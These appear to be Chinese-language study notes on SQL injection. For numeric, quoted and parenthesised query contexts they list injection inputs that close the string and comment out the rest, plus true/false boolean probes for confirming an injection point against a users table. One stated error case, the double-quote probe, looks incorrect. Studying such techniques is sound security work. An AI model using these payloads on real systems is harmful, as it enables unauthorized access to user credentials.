求閉合字元

 

 

數字型
select id, username,password from users where id = $id limit 0,1;
id輸入：3%23
select id, username,password from users where id = 3%23 limit 0,1;

試探方法：
id輸入：1'
select id, username,password from users where id = 1' limit 0,1; 語法錯誤，報錯
id輸入：1 and 1 =1%23
select id, username,password from users where id = 1 and 1 =1%23 limit 0,1;語法正確，查得出記錄
id輸入：1 and 1 =2%23
select id, username,password from users where id = 1 and 1 =2%23 limit 0,1; 語法正確，但查不出記錄

單引號
select id, username,password from users where id = '$id' limit 0,1;
id輸入：3'%23
select id, username,password from users where id = '3'%23' limit 0,1;
試探方法：
id輸入：1'
select id, username,password from users where id = '1'' limit 0,1;  語法錯誤，報錯
id輸入：1' and 1=1%23
select id, username,password from users where id = '1' and 1=1%23' limit 0,1;語法正確，查得出記錄
id輸入：1' and 1=2%23
select id, username,password from users where id = '1' and 1=2%23' limit 0,1;語法正確，但查不出記錄

雙引號
select id, username,password from users where id = "$id" limit 0,1;
id輸入：3"%23
select id, username,password from users where id = "3"%23" limit 0,1;

括號
select id, username,password from users where id in ($id);
id輸入：3)%23
select id, username,password from users where id in (3)%23);
id輸入：1,2,3)%23
select id, username,password from users where id in (1,2,3)%23);

括號加單引號
select id, username,password from users where id in ('$id');
id輸入：3')%23
select id, username,password from users where id in ('3')%23');

試探方法：
id輸入：1'
select id, username,password from users where id in ('1''); 語法錯誤，報錯
id輸入：1') and 1=1%23 
select id, username,password from users where id in ('1') and 1=1%23'); 語法正確，查得出記錄
id輸入：1') and 1=2%23
select id, username,password from users where id in ('1') and 1=2%23'); 語法正確，但查不出記錄

括號加雙引號
select id, username,password from users where id in ("$id");
id輸入：3")%23
select id, username,password from users where id in ("3")%23");
試探方法：
id輸入：1'
select id, username,password from users where id in ("1'"); 語法錯誤，報錯
id輸入：1") and 1=1%23 
select id, username,password from users where id in ("1") and 1=1%23"); 語法正確，查得出記錄
id輸入：1") and 1=2%23 
select id, username,password from users where id in ("1") and 1=2%23"); 語法正確，但查不出記錄